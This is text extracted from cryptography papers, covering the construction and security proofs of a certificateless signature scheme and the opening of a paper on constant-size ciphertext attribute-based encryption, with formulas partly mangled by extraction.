a random generator h̃ ∈ G̃ and the corresponding tuple (X̃, Ỹ ) where X̃ = h̃x

and Ỹ = h̃y.
– Sign: on input the secret (x, y), the signature of a message m ∈ Zp is obtained

by selecting a random h
$← G and outputs σ = (σ1, σ2) where σ1 = h and

σ2 = h(x+ym).
– Verif: on input a message m and the corresponding signature σ = (σ1, σ2),

together with the public key (h̃, X̃, Ỹ ), anybody can verify the validity of σ
by checking that:

σ1 �= 1G1 ;
e(σ1, X̃Ỹ m) = e(σ2, g̃).

The PS assumption 1, given in [12], permits to prove that such signature
scheme is EUF-CMA.

Definition 3. PS assumption 1: Let (p,G, G̃,GT , g, g̃, e) be a bilinear group

setting of type 3. Choose u, v
$← Zp, we define the oracle O(m) on input m ∈ Zp

that chooses a random h ∈ G and outputs the pair (h, hu+mv). Given (g, g̃, g̃u,
g̃v, gv) and unlimited access to this oracle, no adversary can efficiently generate
a pair (h, hu+m∗v), with h �= 1G, for a new scalar m∗ not asked to O.

3.4 New Assumptions

In this section, we introduce two new assumptions to prove the security of our
scheme, these assumptions are in the similar style of the PS assumption 1.
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Definition 4. Modified-PS assumption 1: Let (p,G, G̃,GT , g, g̃, e) be a

bilinear group setting of type 3. Choose u, v
$← Zp, we define the oracle O(m) on

input m ∈ Zp that chooses a random r ∈ Zp and outputs the triplet (g(u+mv)r,
gr, g̃

uv
r ).

Given (g, g̃, g̃u, g̃v, gv) and unlimited access to this oracle, no adversary can
efficiently generate a triplet (g(u+m∗v)r∗

, gr∗
, g̃

uv
r∗ ), with gr∗ �= 1G, for a new

scalar m∗ not asked to O.

We remark that, when comparing to PS assumption 1, we set h = gr and the
oracle O(m) outputs just one more element in the group G̃ which offers no help
for the adversary. It is thus obvious that our Modified PS assumption 1 holds
and we refer the reader to [12] for some details.

Definition 5. Assumption 2: Let (p,G, G̃,GT , e) be a bilinear group setting

of type 3, with g (resp. g̃) a generator of G (resp. G̃). Choose x, y, s
$← Zp, we

define the oracle O1(ID) which on input ID ∈ Zp, outputs the triplet (g
x

s+ID ,
g

y
s+ID , g

1
s+ID ) and the oracle O2(m, ID) which on input (m, ID) ∈ Zp, chooses

a random r ∈ Zp and outputs (g
(x+my)r

s+ID , g
r

s+ID , gr, g̃
y
r ).

Given (g, g̃, g̃s, g̃x, g̃y, gx, gy) and unlimited access to both oracles O1 and O2,

no adversary can efficiently generate (g
(x+m∗y)r∗

s+ID∗ , g
r∗

s+ID∗ , gr∗
, g̃

y
r∗ ), with gr∗ �=

1G, for scalar ID∗ not asked to O1, and new pair (m∗, ID∗) not asked to O2.

We prove that this new assumption holds in Bilinear Generic Group in
Appendix A.

4 Our Construction

We are now ready to describe our construction. We first describe a high-level
intuition, and then give the details. The security of our construction is given in
the next section.

4.1 Intuition

Intuitively, the master secret key s is a BB signing key and our certificateless
signature corresponds to a PS signature by the user, with a BB signature as a
generator, that is h = g

1
s+ID .

The user’s partial private key is then a triplet corresponding to a true PS
public key, using the above h and a secret key (x, y) which is common to all
users. The differentiation between users is done by using a secret value bi to
randomize the PS secret key, as (x+ bi, y). Such key finally helps the user (using
x and y “in blind”, i.e., without knowing them) to compute the certificateless
signature as a PS signature. More precisely, we use the randomization technique
of a PS signature, as described in [12].

Regarding security, the unforgeability of the Boneh-Boyen’s signature scheme
ensures that the adversary cannot derive the partial private key of the target
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user. The security of the Pointcheval-Sanders’ signature scheme then prevents
the adversary from forging a valid signature of the target user, on a new message.

Regarding efficiency, the main point is that, using BB and PS signature
schemes in the above somewhat generic description, we have found that they
are totally compatible in our certificateless setting. In fact, we can arrange the
verification equations to have only one single pairing equation to be directly
convinced that both the user’s whole public key and the given signature are
valid.

We now give the details of our construction.

4.2 Detailed Description

The construction of our CLS scheme is detailed as follows.

Setup(1λ): the algorithm takes as input the security parameter λ, generates a

bilinear map group system (p,G, G̃,GT , g, g̃, e). Let s, x, y
$← Z

∗
p.

The public parameters param are then

param = (g, g̃, S̃ = g̃s, X̃ = g̃x, Ỹ = g̃y,X = gx, Y = gy),

and the master secret key is msk = s.
Partial-Private-Key-Extract: it takes as input param, msk = s, and the identity

IDi of user i. For notational simplicity, we suppose that identity IDi ∈ Z
∗
p. It

returns a partial private key

DIDi
= (D1,i,D2,i,D3,i) = (g

x
s+IDi , g

y
s+IDi , g

1
s+IDi )

for user i.
Set-Secret-Value: it takes as input user’s identity IDi. It chooses random values

bi
$← Z

∗
p and returns xIDi

= bi as user i’s secret value.
Set-Public-Key: it takes as input param, xIDi and returns PKIDi = g̃bi as the

public key for user i.
Set-Private-Key: it takes as input xIDi

,DIDi
and returns SKi = (xIDi

,DIDi
) as the

full private key for user i.
Sign: it takes as input param, IDi, SKi, and a message m. For notational simplic-

ity, we suppose that m ∈ Zp. The algorithm chooses r
$← Z

∗
p and computes:

U = (D1,i)r(D2,i)mr(D3,i)bir = g
(x+bi+my)r

s+IDi , V = (D3,i)r = g
r

s+IDi ,

W = gr, L = Ỹ
bi
r = g̃

biy

r .

It returns σ = (U, V,W,L) as the signature on the message m.
Verify: it takes as input param, PKIDi

, IDi, σ = (U, V,W,L) and a message m,
and computes U ′ = S̃ · g̃IDi and W ′ = X̃ · PKIDi · Ỹ m · g̃. It then checks if

e(U.V, U ′) · e(W,L) = e(W,W ′) · e(Y,PKIDi
)

holds. If this is the case, it outputs 1. Otherwise, it outputs 0.



An Efficient Certificateless Signature Scheme in the Standard Model 185

Completeness. We can easily show that:

e(U.V, U ′) · e(W,L) = e(g
(x+bi+m.y).r

s+IDi · g
r

s+IDi , g̃s · g̃IDi) · e(gr, g̃
biy

r )

= e(gr, g̃x+bi+m.y+1) · e(gy, g̃bi) = e(W,W ′) · e(Y,PKIDi
).

4.3 Efficiency Considerations

Regarding efficiency, as shown in Table 1, it is obvious that the signature gener-
ation necessitates one multi exponentiation in G, two additional modular expo-
nentiations in G and one modular exponentiation in G̃.

The verification phase consists in executing 2 exponentiations and 4 multipli-
cations in G̃ and then check the pairing equation. As this latter can be written

e(U.V, U ′) · e(W,L/W ′) = e(Y,PKIDi
),

it suffices to compute 3 pairings, one multiplication in G, and one in G̃ for this
step.

5 Security

The two following sections gives the proofs that our scheme is both resistant to
strong Type I and Type II forgers.

5.1 Strong Type I Security

We first prove the Strong Type I security of our certificateless signature scheme
under our new Assumption 2.

Intuitively, relying on the security of the Boneh-Boyen’s signature [2], the
adversary cannot get useful help from the oracle O1 since the oracle O1 gives
no useful information about g

1
s+ID∗ . Similarly, relying on the security of the

assumption 1 in [12], oracle O2 offers no useful help for the adversary since
it has no useful information about g(x+m∗y)r∗

.

Theorem 1. Our certificateless signature scheme above is existentially unforge-
able against a Strong Type I forger under the Assumption 2.

Proof. We assume that a forger F1 against the Type I security of our certificate-
less signature scheme exists. Let C be an adversary against our Assumption 2.
C will interact with F1, acting as a challenger in Game 1 (see Sect. 2). We will
prove that C can use the output of F1 to break the security of the Assumption 2.

For his purpose, C receives an instance of the Assumption 2: (g, g̃, g̃s, g̃x,
g̃y, gx, gy). C has also an unlimited access to the oracles O1 and O2. We recall
that O1(ID), on input ID ∈ Zp, outputs the triplet (g

x
s+ID , g

y
s+ID , g

1
s+ID ) and

oracle O2(m, ID), on input (m, ID) ∈ Zp, chooses a random r ∈ Zp and outputs

(g
(x+my)r

s+ID , g
r

s+ID , gr, g̃
y
r ).
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The Assumption 2 implicitly sets the values s, x and y that the challenger C
can manipulate without knowing them. C gives (g, g̃, g̃s, g̃x, g̃y, gx, gy) to F1 as
public parameters, using the instance of the Assumption 2. We suppose in this
proof that F1 asks queries on identity from ID1 to IDq. C then randomly chooses
an index j ∈ [1, q] and sets ID∗ = IDj .

To correctly simulate the game 1 for F1, C simulates the requested oracles
as follows.

ExtrPartSK(IDi). There are two cases, depending on the requested identity. If
i �= j, C asks the oracle O1 on input IDi and directly forwards the result DIDi

to F1. If i = j, C is not able to answer and then outputs FAIL and aborts the
simulation.

RequestPK(IDi). On input IDi, C chooses bi
$← Z

∗
p, and returns PKIDi

= g̃bi to
F1.

ExtrFullSK(IDi). At first, if the ExtrPartSK(IDi) or the RequestPK(IDi) has never
been queried before, C first makes these queries on IDi itself, using the above
descriptions.
There are then again two cases, depending on i. If i �= j, C returns SKIDi =
(bi,DIDi

) to F1. In the case i = j, C outputs FAIL and aborts the simulation.
ReplacePK(IDi). On input (IDi,PKID′

i
, b′

i), C sets PKIDi
= PKID′

i
= g̃b′

i .
Strong-Sign(m, IDi). There are two cases. If i �= j, C uses his knowledge of SKIDi

and executes the oracle query normally.
If i = j, C cannot use the Sign algorithm as usual since he does not know
the implicit user’s secret value u, except if the oracle ReplacePK has been
requested on input ID∗. However, C can make use of the O2 oracle. C then
requests the latter on input m to receive the tuple

(O1, O2, O3, O4) = (g
(x+my)r

s+ID∗ , g
r

s+ID∗ , gr, g̃
y
r ).

Since C knows b∗, he can derive a valid signature σ = (U, V,W,L) as

U = O1O
b∗
2 = g

(x+b∗+my)r
s+ID∗ , V = O2 = g

r
s+ID∗ ,

W = O3 = gr, L = Ob∗
4 = g̃

b∗y
r .

C finally sends this signature to F1.

Eventually, F1 outputs a tuple (IDt, mt, σt) which is successful with non
negligible probability. If IDt �= ID∗, C outputs FAIL and aborts the simulation.
Otherwise, there are two cases.

1. If PKID∗ is the initial key:

σt = (Ut, Vt,Wt, Lt) = (g
(x+b∗+mty)r

s+ID∗ , g
r

s+ID∗ , gr, g̃
b∗y
r ).

2. If PKID∗ is a replaced key:

σt = (Ut, Vt,Wt, Lt) = (g
(x+b′+mty)r

s+ID∗ , g
r

s+ID∗ , gr, g̃
b′y
r ).
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Since C knows both b∗ and b′, he can compute the tuple P = (P1, P2, P3, P4) as
(using e.g., b∗):

P1 = Ut/V b∗
t = g

(x+mty)r
s+ID∗ , P2 = Vt = g

r
s+ID∗ ,

P3 = Wt = gr, P4 = L
1/b∗
t = g̃

y
r

with a pair (mt, ID
∗) never asked to O2, and an identity ID∗ never asked to O1.

Therefore P is a valid pair breaking the security of the Assumption 2.
Since the simulation is perfect, it means that if a Strong Type I forger can

break our scheme, then an attacker can solve the Assumption 2, which concludes
our proof. ��

5.2 Strong Type II Security

We then prove the Strong Type II security of our certificateless signature scheme
under the Modified-PS assumption 1.

Theorem 2. Our certificateless signature scheme above is existentially unforge-
able against a Type II forger under the Modified-PS assumption 1.

Proof. We assume the existence of an adversary F2 against the Type II secu-
rity of our certificateless signature scheme. Let C be an adversary against the
Modified-PS assumption 1 that will interact with F2, acting as a challenger in
the security Game 2. We will prove that C can use the output of F2 to break the
security of the Modified-Assumption 1.

At the beginning, C receives an instance of the Modified-PS assumption 1,
as (g, g̃, g̃u, g̃v, gv). C has also an unlimited access to the oracle O(m) which on
input m ∈ Zp, chooses a random r ∈ Zp and outputs the triplet (g(u+mv)r, gr,
g̃

uv
r ).

C first chooses s, x
$← Z

∗
p, implicitly sets y = v (without knowing it) and gives

(g, g̃, g̃x, g̃y, g̃s, gx, gy) to F2 as public parameters, where g̃y = g̃v and gy = gv are
taken from the Modified-PS assumption 1 instance. C also gives F2 the master
secret key s. We suppose in this proof that F2 asks queries on identity from ID1

to IDq. C randomly chooses an index j ∈ [1, q] and sets ID∗ = IDj .
To correctly simulate the game 2 for F2, C needs to answer the following

queries.

RequestPK(IDi). There are two cases. Either i �= j, and then C chooses xIDi
=

bi
$← Zp and returns PKIDi = g̃bi to F2. Or i = j and C uses the Modified-PS

assumption 1 instance by returning PKID∗ = g̃u to F2.
ExtrFullSK(IDi). At first, if RequestPK(IDi) has never been queried before, C first

makes this query on IDi itself, using the above execution. Then, there are
again two cases. If i �= j, C computes:

DIDi
= (g

x
s+IDi , g

y
s+IDi , g

1
s+IDi )

and returns SKIDi = (xIDi ,DIDi) to F2. If i = j, C outputs FAIL and aborts
the simulation.
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Strong-Sign(m, IDi). Again, if i �= j, C uses his knowledge of SKIDi and executes
the oracle query normally.
If i = j, C cannot use the Sign algorithm as usual since he does not know the
implicit user’s secret value u. C then needs to ask the oracle O on input m to
receive the triplet

(O1, O2, O3) = (g(u+mv)r, gr, g̃
uv
r ).

Since C knows x, s and since we implicitly have y = v (see above), C can
derive the signature σ = (U, V,W,L) as

U = (O1O
x
2 )

1
s+ID∗ = g

(x+u+my)r
s+ID∗ , V = O

1
s+ID∗
2 = g

r
s+ID∗ ,

W = O2 = gr, L = O3 = g̃
uy
r .

C then returns this signature to F2.

Eventually, F2 outputs a successful triplet (IDt, mt, σt). If IDt �= ID∗, C
outputs FAIL and aborts the simulation. Otherwise, as the output is successful,
the signature σt = (Ut, Vt,Wt, Lt) necessarily verifies the following equations:

Ut = g
(x+u+mty)r

s+ID∗ , Vt = g
r

s+ID∗ , Wt = gr, Lt = g̃
uy
r .

Since C knows s, x, he can compute the triplet P = (P1, P2, P3) as:

P1 = Us+ID∗
t /W x

t = g(u+mtv)r

P2 = Wt = gr, P3 = Lt = g̃
uv
r

as we implicitly have v = y. Moreover, mt is obviously a new scalar not asked
to O, since the triplet output being F2 successful, it means that the message mt

has never been requested.
Therefore P is a valid pair breaking the security of the Modified-PS assump-

tion 1. Since the simulation is perfect, it means that if a Strong Type II forger
can break our scheme, then an attacker can solve the Modified-PS assumption 1,
which concludes our proof. ��

6 Conclusion

In this paper, we focus on CLS scheme in the standard model, we in fact introduce
a new and direct approach to construct an efficient CLS scheme in the standard
model, while the existing approaches either make use of the Waters’ technique or
use the generic conversion technique which both lead to inefficient CLS schemes.
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A Proof of Assumption 2 in Bilinear Generic Group

Assume that q ∈ Z is the maximum number of queries the adversary can make
to the oracle O1 or O2. The adversary then will get the inputs from the group
G and G̃. For the group G̃, the adversary has:

P =
(

1, x, y, s,
{ y

ri,j

}

i,j∈[
√

q]

)

For the group G, the adversary has:

Q =
(
1, x, y,

{ x

s + IDi
,

y

s + IDi
,

1
s + IDi

}

i∈[q]
i�=t

,

{ (x + mj .y).ri,j

s + IDi
,

ri,j

s + IDi
, ri,j

}

(i,j)∈[
√

q]×[
√

q]
(i,j)�=(t,t)

)

where ID∗ = IDt,m
∗ = mt. We need to prove that simultaneously from P , the

adversary cannot lead to y
r∗ and from Q the adversary cannot lead to the triplet

(x + m∗.y).r∗

s + ID∗ ,
r∗

s + ID∗ , r∗

Assume that B1, B2, B3 are linear combinations of elements in Q which lead to
the triplet

(x + m∗.y).r∗

s + ID∗ ,
r∗

s + ID∗ , r∗

therefore, we have equations

B1 = (x + m∗.y).B2 (1)

B3 = (s + ID∗).B2 (2)

From the first equation, it is easy to realize that in B2 we cannot have
elements

x, y,
x

s + IDi
,

y

s + IDi
,
(x + mj .y).ri,j

s + IDi
, ri,j ,

since in B1 the highest degree of variables x, y are 1 and ri,j are unknown random
constants.

From the second equation, we cannot have element 1 in B2, since the highest
degree of variable s in B3 is −1. Overall, the adversary should find constants
{ci} i∈[q]

i�=t
, {di,j} (i,j)∈[

√
q]×[

√
q]

(i,j)�=(t,t)
to produce B2. This means that:
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B2 =
∑

i∈[q]
i�=t

ci

s + IDi
+

∑

(i,j)∈[
√

q]×[
√

q]
(i,j)�=(t,t)

di,j .ri,j

s + IDi
.

On the other hand, assume that A is a linear combination of elements in P
which leads to y

r∗ , which means that

A =
y

r∗ ⇔ y = A.(s + ID∗).B2

⇔ y = A.(s + ID∗).

⎛

⎜
⎝

∑

i∈[q]
i�=t

ci

s + IDi
+

∑

(i,j)∈[
√

q]×[
√

q]
(i,j)�=(t,t)

di,j .ri,j

s + IDi

⎞

⎟
⎠

The main point is that we cannot have the elements x, s and 1 and the above
equation hold for all x, y, s and unknown random constants ri,j . We thus trans-
form it as

y = A.(s + ID∗).B2 ⇔

y = (a.y +
∑

(i,j)∈[
√

q]×[
√

q]
(i,j)�=(t,t)

bi,j .y

ri,j
).(s + ID∗).

⎛

⎜
⎝

∑

i∈[q]
i�=t

ci

s + IDi
+

∑

(i,j)∈[
√

q]×[
√

q]
(i,j)�=(t,t)

di,j .ri,j

s + IDi

⎞

⎟
⎠

and then

1 = (a+
∑

(i,j)∈[
√

q]×[
√

q]
(i,j)�=(t,t)

bi,j

ri,j
).

⎛

⎜
⎝

∑

i∈[q]
i�=t

ci.(s + ID∗)
s + IDi

+
∑

(i,j)∈[
√

q]×[
√

q]
(i,j)�=(t,t)

di,j .ri,j .(s + ID∗)
s + IDi

⎞

⎟
⎠

where a, {bi,j} (i,j)∈[
√

q]×[
√

q]
(i,j)�=(t,t)

are constants. From the equation above we see that

to make the equation hold for all s and unknown random constants ri,j , the
constants a and ci must be equal 0. So, the Eq. (1) is rewritten as follows

(x + m∗.y).B2 = B1 ⇔ (x + m∗.y).
∑

(i,j)∈[
√

q]×[
√

q]
(i,j)�=(t,t)

di,j .ri,j

s + IDi
= B1

⇔
∑

j∈[
√

q]
j �=t

dt,j .rt,j .(x + m∗.y)
s + ID∗ = B1 − (x + m∗.y).

∑

(i,j)∈[
√

q]×[
√

q]
i�=t

di,j .ri,j

s + IDi

Since ri,j are unknown random constants, B1 must contain the elements related
to ri,j , or the above equation should be rewritten with d′

i,j , ki,j as constants.
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∑

j∈[
√

q]
j �=t

dt,j .rt,j .(x + m∗.y)
s + ID∗ =

∑

(i,j)∈[
√

q]×[
√

q]
(i,j)�=(t,t)

d′
i,j .ri,j .(x + mj .y) + ki,j .ri,j

s + IDi

− (x + m∗.y).
∑

(i,j)∈[
√

q]×[
√

q]
i�=t

di,j .ri,j

s + IDi

⇔
∑

j∈[
√

q]
j �=t

dt,j .rt,j .(x + m∗.y) − d′
t,j .rt,j .(x + mj .y) + kt,j .rt,j

s + ID∗

=
∑

(i,j)∈[
√

q]×[
√

q]
i�=t

d′
i,j .ri,j .(x + mj .y) + ki,j .ri,j

s + IDi
− (x + m∗.y).

∑

(i,j)∈[
√

q]×[
√

q]
i�=t

di,j .ri,j

s + IDi

Since in the left side of the equation j �= t, that means the adversary cannot find
dt,j , d

′
t,j , kt,j such that dt,j .rt,j .(x+m∗.y)− d′

t,j .rt,j .(x+mj .y)+ kt,j .rt,j = 0 for
all x, y, rt,j . On the other hand, the elements rt,j do not appear in the right side
of the equation, that means one cannot find the constants dt,j , d

′
t,j , kt,j such that

the above equation hold for all unknown random elements rt,j , or simultaneously
from P the adversary cannot lead to y

r∗ and from Q the adversary cannot lead
to the triplet

(x + m∗.y).r∗

s + ID∗ ,
r∗

s + ID∗ , r∗,

which concludes our proof. ��
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Abstract. Attribute-based encryption (ABE) is an extension of tradi-
tional public key encryption in which the encryption and decryption
phases are based on user’s attributes. More precisely, we focus on cipher-
text-policy ABE (CP-ABE) where the secret-key is associated to a set of
attributes and the ciphertext is generated with an access policy. It then
becomes feasible to decrypt a ciphertext only if one’s attributes satisfy
the used access policy. CP-ABE scheme with constant-size ciphertext sup-
porting fine-grained access control has been investigated at AsiaCrypt’15
and then at TCC’16. The former makes use of the conversion technique
between ABE and spatial encryption, and the later studies the pair encod-
ings framework.

In this paper, we give a new approach to construct such kind of CP-
ABE scheme. More precisely, we propose private CP-ABE schemes with
constant-size ciphertext, supporting CNF (Conjunctive Normal Form)
access policy, with the simple restriction that each attribute can only
appear kmax times in the access formula. Our two constructions are
based on the BGW scheme at Crypto’05. The first scheme is basic selec-
tive secure (in the standard model) while our second one reaches the
selective CCA security (in the random oracle model).

Keywords: Attribute-based encryption · Ciphertext-policy · CNF

1 Introduction

We are currently starting a second period of development of cryptography. This
“era of modern cryptography” sees the creation and the improvement of many
advanced cryptographic schemes, permitting new and sometimes very complex
properties. As an example, in many modern applications, one needs to have
stronger and flexible capabilities to encrypt data, such that encrypting a mes-
sage according to a specific policy. In this case, only receivers with attributes
satisfying this specific policy can decrypt the encrypted message.

Attribute-Base Encryption. Addressing this problem, Sahai and
Waters [28] introduced the concept of attribute-based encryption (ABE) in which
c© Springer International Publishing AG 2016
I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 193–211, 2016.
DOI: 10.1007/978-3-319-49806-5 10
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the encryption and decryption can be based on the user’s attributes. It exists
two variants of ABE: ciphertext-policy attribute-based encryption (CP-ABE) and
key-policy attribute-based encryption (KP-ABE). In CP-ABE scheme, the secret
key is associated with a set of attributes and the ciphertext is associated with an
access policy (structure) over a universe of attributes: a user can then decrypt
a given ciphertext if the set of attributes related to his/her secret key satisfies
the access policy underlying the ciphertext. In contrast, in KP-ABE scheme, the
access policy is for the secret key and the set of attributes is for the ciphertext.
In this paper, we focus on CP-ABE which can for example be used in Pay-TV
systems, as shown in [19], and for which the size of the ciphertext is essential. We
more precisely focus on private CP-ABE where the encryption phase is private,
meaning that it necessitates the use of some secret keys (in contrast to public
CP-ABE where anybody can encrypt a message). Again, this case is for example
very suitable in the Pay-TV context where only the content broadcaster needs
to encrypt something.

1.1 Related Work

Attribute-Base Encryption. Since their introduction in 2005, one can find
a lot of papers proposing ABE schemes [5,8,12,15,17,19,24,25,27,28,31]. The
authors in [5,31] introduced KP-ABE schemes with constant-size ciphertext. The
works in [15] extended the Sahai and Waters’ work [28] to propose the first
schemes supporting finer-grained access control, specified by a Boolean formula.
Non-monotonic access structures permitting to handle the negation of attributes
has been considered in subsequent works [5,25,31]. Thanks to multilinear maps
and cryptographic obfuscations, ABE scheme supporting general access structure
has been constructed [13], but as shown recently [11,18,23], their real feasibility
is questionable. Adaptive security for ABE schemes was considered in [3,8,20,30]
using composite order group, and then in [10,24] using prime order groups.
Similarly, dynamic ABE scheme (unbounded attributes) was first investigated
in [21] using composite order groups and then in [27] using prime order groups.

Among those constructions, five of them propose CP-ABE schemes with con-
stant size ciphertext supporting limited access structure. In [9,12], the access
structure is constructed by AND-gates on multi-valued attributes. In [8,14,17],
the access policy is threshold, meaning that there is no distinction among
attributes in the access policy: anyone who possesses enough attributes (equal
or bigger than a threshold chosen by the sender) will be able to decrypt.

To the best of our knowledge, there exists only two interesting approaches to
construct CP-ABE schemes with constant size ciphertext supporting fine-grained
access control. The first one [4] makes use of the conversion technique between
ABE and spatial encryption [16]. More precisely, starting from a KP-ABE scheme
with constant-size ciphertext, such that [5,31], one first converts it to a spa-
tial encryption scheme with constant-size ciphertext. Then, from this spatial
encryption scheme, one continues to convert it to a CP-ABE schemes with con-
stant size ciphertext. The second approach [2] comes from the pair encodings
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technique [3,30], in which it is proposed a new relaxed but still information
theoretic security property that is sufficient to achieve a CP-ABE schemes with
constant size ciphertext. The weakness of these both approaches is that the
key-size is relatively large.

1.2 Our Contribution

In this work, we propose a new approach to construct CP-ABE schemes with
constant size ciphertext supporting CNF access policy. For that purpose, we
make use of the techniques given in the Junod-Karlov ABBE scheme [19] to
achieve CNF access policy and to fight against attribute collusion and the ones
from the Multi-Channel Broadcast Encryption (MCBE) scheme given in [26] in
order to achieve the constant size of the ciphertext.

More precisely, we present two private CP-ABE schemes with the following
properties.

– Both schemes achieve the constant size ciphertext. The key size is linear in
the maximal number of attributes in the system. Regarding the access policy,
both schemes support restricted CNF access policy in the sense that they
introduce a parameter kmax in which each attribute can only appear kmax

times in the access formula used during the encryption phase. The key size is
larger than a factor of kmax in exchange.

– Both of our schemes are naturally based on the use of an asymmetric bilinear
pairing, contrary to previous work based on the symmetric case (even if a
generic construction [1] can permit to transform them into the asymmetric
case).

– Our first scheme achieves basic selective security under a GDDHE assump-
tion [6], in the standard model.

– Our second scheme improves the first one regarding the security since it
achieves selective CCA security under again a similar GDDHE assumption.
However, we need to use the random oracle in the security proof.

When comparing to the two interesting existing approaches [2,4], ours leads
to a scheme with better key size. However, the schemes in [2,4] are in public
setting and are large universe CP-ABE schemes. We give in Table 1 a compari-
son among our schemes and some other existing CP-ABE schemes. We moreover
argue that our approach to construct constant-size ciphertext ABE is new and
can lead to better schemes in the future. We also notice that using the tech-
nique given in [19], we are able to turn our scheme into the first attribute-based
broadcast encryption [22] (ABBE) with a constant size ciphertext.

1.3 Organization of the Paper

The next section introduces security definitions and the used assumptions. In
Sect. 3, we introduce our first scheme with basic selective security, while Sect. 4
describes our second scheme with selective CCA security. Finally, in Sect. 5 we
give the conclusion.
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Table 1. Comparison among our schemes and some previous schemes. n denotes the
number of attributes in the system, m denotes the number of clauses in the CNF
access policy, k denotes the maximal size of an attribute set associated with a secret
key, � denotes the maximal number of rows of a span program matrix associated with
a ciphertext (fixed at the setup, thus should be n). Restricted CNF means that each
attribute only can appear kmax times in an access formula. We note that [4] supports
large universe and obtains adaptive security, [2] supports large universe and obtains
selective security.

Access Policy Ciphertext Dec key Enc key Assumption

[12] AND-gates O(1) O(1) O(n2) DBDH

[17] Threshold O(1) O(n) O(n) GDDHE

[19] CNF O(m) O(n) O(n) GDDHE

[4] LSSS O(1) O(k4.�4) O(k2.�2) Parametrized

[2] LSSS O(1) O(n.�2) O(n.�) Parametrized

Our 1st Restricted CNF O(1) O(n.kmax) O(n.kmax) GDDHE

Our 2nd Restricted CNF O(1) O(n.kmax) O(1) GDDHE+ROM

2 Preliminaries

We give in this section several preliminaries regarding security model of private
CP-ABE schemes and security assumptions we will need for our construction.

2.1 Private Ciphertext-Policy Attribute-Based Encryption

Formally, we define a private CP-ABE scheme which consists of three probabilis-
tic algorithms as follows.

Setup(1λ, ϑ,B(ui)1≤i≤ϑ): it takes as input the security parameter λ, the total
number of users in the system ϑ, and the attribute repartition B(ui)1≤i≤ϑ

for each user ui (B(ui) is the attribute set of user ui), generates the global
parameters param of the system, an encryption key EK, and ϑ decryption keys
dui

. The encryption key EK is kept private from users. The set K corresponds
to the key space for session keys.

Encrypt(A,EK, param): it takes as input an access policy A and the encryption
key EK. It outputs the session keys K ∈ K and the header Hdr which includes
the access policy A.

Decrypt(Hdr, dui
,B(ui), param): it takes as input the header Hdr, a decryption

key dui
and the attribute set B(ui) of user ui, together with the parameters

param. It outputs the session keys K if and only if B(ui) satisfies A. Otherwise,
it outputs ⊥.

Security Model: In this paper, we consider the same security model as in [19]
which is called semantic security with full static collusions. In fact, a private
CP-ABE scheme is said to be secure in this model if given to an adversary (i) a
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challenge header, (ii) all the decryption keys of revoked users and (iii) a access
to both encryption and decryption oracles, it is impossible for the adversary to
infer any information about the session key. Formally, we now define the security
model for a private CP-ABE scheme by the following probabilistic game between
an attacker A and a challenger C.

Both A and C are given a system consisting of n attributes A1, . . . , An.
A outputs target access policy A

∗ as well as a repartition B(ui)1≤i≤ϑ which he
intends to attack.

Setup(1λ, ϑ,B(ui)1≤i≤ϑ). The challenger runs the Setup(1λ, ϑ,B(ui)1≤i≤ϑ)
algorithm, he gives to A the decryption keys dui

where B(ui) does not satisfy
the target access policy A

∗ and param. Decryption lists ΛD is set to empty
list.

Query phase 1. The adversary A adaptively asks queries.
1. Decryption query on the header Hdr with ui. The challenger answers with

Decrypt(Hdr, dui
,B(ui), param). The full header Hdr is appended to the

decryption list ΛD;
2. Encryption query for the access policy A. The challenger answers with

Encrypt(A,EK, param). Remark that he/she can ask encryption query
on target access policy A

∗ since the encryption algorithm uses a fresh
random coin for each time of the encryption.

Challenge. The challenger runs Encrypt(A∗,EK, param) and gets (K∗,Hdr∗).

Next, the challenger picks a random b
$← {0, 1}. If b = 0, the challenger sets

K = K∗. Else, it picks a random K
$← K. It outputs (K,Hdr∗) to A. Note

that if b = 0, K is the real key, encapsulated in Hdr∗, and if b = 1, K is
random, independent of the header.

Query phase 2. The adversary A continues to adaptively ask queries as in the
first phase.

Guess. The adversary A eventually outputs its guess b′ ∈ {0, 1} for b.

We say the adversary wins the game if b′ = b, but only if Hdr∗ �∈ ΛD. We then
denote the advantage of the adversary to win the game by

Advind(1λ, ϑ,B(ui)1≤i≤ϑ,A) = |2Pr [b = b′] − 1|.
Definition 1 (Basic Selective Security). A private CP-ABE scheme is said
to be basic selective security if the advantage of the adversary in the above secu-
rity game is negligible where the adversary cannot ask the encryption query and
the decryption query.

Definition 2 (Selective−CCA Security). A private CP-ABE scheme is said to
be selective−CCA security if the advantage of the adversary in the above security
game is negligible where the adversary can ask any types of queries.

2.2 Bilinear Maps, CDH and (P,Q, f) − GDDHE Assumptions

Let G, G̃ and GT denote three finite multiplicative abelian groups of large prime
order p > 2λ where λ is the security parameter. Let g be a generator of G and



198 S. Canard and V.C. Trinh

g̃ be a generator of G̃. We assume that there exists an admissible asymmetric
bilinear map e : G × G̃ → GT , meaning that for all a, b ∈ Zp

1. e(ga, g̃b) = e(g, g̃)ab,
2. e(ga, g̃b) = 1 iff a = 0 or b = 0,
3. e(ga, g̃b) is efficiently computable.

In the sequel, the set (p,G, G̃,GT , e) is called a bilinear map group system.

Definition 3 (CDH Assumption). The (t, ε) −CDH assumption says that for
any t-time adversary A that is given (g, gt, h) ∈ G, its probability to output ht

is bounded by ε:

Succcdh(A) = Pr[A(g, gt, h) = ht] ≤ ε.

Let (p,G, G̃,GT , e) be a bilinear map group system and g ∈ G (resp. g̃ ∈ G̃)
be a generator of G (resp. G̃). We set gT = e(g, g̃) ∈ GT . Let s, n be positive inte-
gers and P,Q,R ∈ Fp[X1, . . . , Xn]s be three s-tuples of n-variate polynomials
over Fp. Thus, P , Q and R are just three lists containing s multivariate polyno-
mials each. We write P = (p1, p2, . . . , ps), Q = (q1, q2, . . . , qs) R = (r1, r2, . . . , rs)
and impose that p1 = q1 = r1 = 1. For any function h : Fp → Ω and
vector (x1, . . . , xn) ∈ F

n
p , h(P (x1, . . . , xn)) stands for (h(p1(x1, . . . , xn)), . . . ,

h(ps(x1, . . . , xn))) ∈ Ωs. We use a similar notation for the s-tuples Q and R.
Let f ∈ Fp[X1, . . . , Xn]. It is said that f depends on (P,Q,R), which denotes
f ∈ 〈P,Q,R〉, when there exists a linear decomposition (with an efficient iso-
morphism between G and G̃)

f =
∑

1≤i,j≤s

ai,j ·pi ·qj +
∑

1≤i,j≤s

bi,j ·pi ·pj +
∑

1≤i≤s

ci ·ri, with ai,j , bi,j , ci ∈ Zp.

